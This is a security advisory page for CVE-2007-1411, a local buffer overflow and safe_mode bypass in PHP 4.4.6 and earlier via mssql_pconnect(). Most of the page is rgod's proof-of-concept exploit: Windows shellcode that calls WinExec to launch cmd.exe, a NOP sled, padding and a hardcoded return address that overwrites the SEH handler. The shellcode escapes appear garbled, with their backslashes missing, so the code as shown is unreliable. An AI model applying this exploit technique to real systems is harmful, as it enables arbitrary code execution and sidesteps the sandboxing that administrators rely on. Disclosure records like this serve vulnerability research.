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Topic :

PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow and safe_mode bypass

SecurityAlert : 2407

CVE : CVE-2007-1411

SecurityRisk : High Security Risk High

(About)

Remote Exploit : No

Local Exploit : Yes

Exploit Available : Yes

Credit : rgod

Published : 14.03.2007

Affected Software :

PHP <= 4.4.6

Advisory Content :

<?php

// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
// poc exploit (and safe_mode bypass)
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org

// u can easily adjust for php5
// this as my little contribute to MOPB

$____scode=
"xebx1b".
"x5b".
"x31xc0".
"x50".
"x31xc0".
"x88x43x59".
"x53".
"xbbxcax73xe9x77". //WinExec
"xffxd3".
"x31xc0".
"x50".
"xbbx5cxcfxe9x77". //ExitProcess
"xffxd3".
"xe8xe0xffxffxff".
"x63x6dx64".
"x2e".
"x65".
"x78x65".
"x20x2f".
"x63x20".
"start notepad & ";

$eip="xdcxf5x12";
$____suntzu=str_repeat("x90",100);
$____suntzu.=$____scode;
$____suntzu.=str_repeat("a",2460 - strlen($____scode));
$____suntzu.=$eip;
mssql_pconnect($____suntzu);

?>

original url: http://retrogod.altervista.org/php_446_mssql_connect_bof.html

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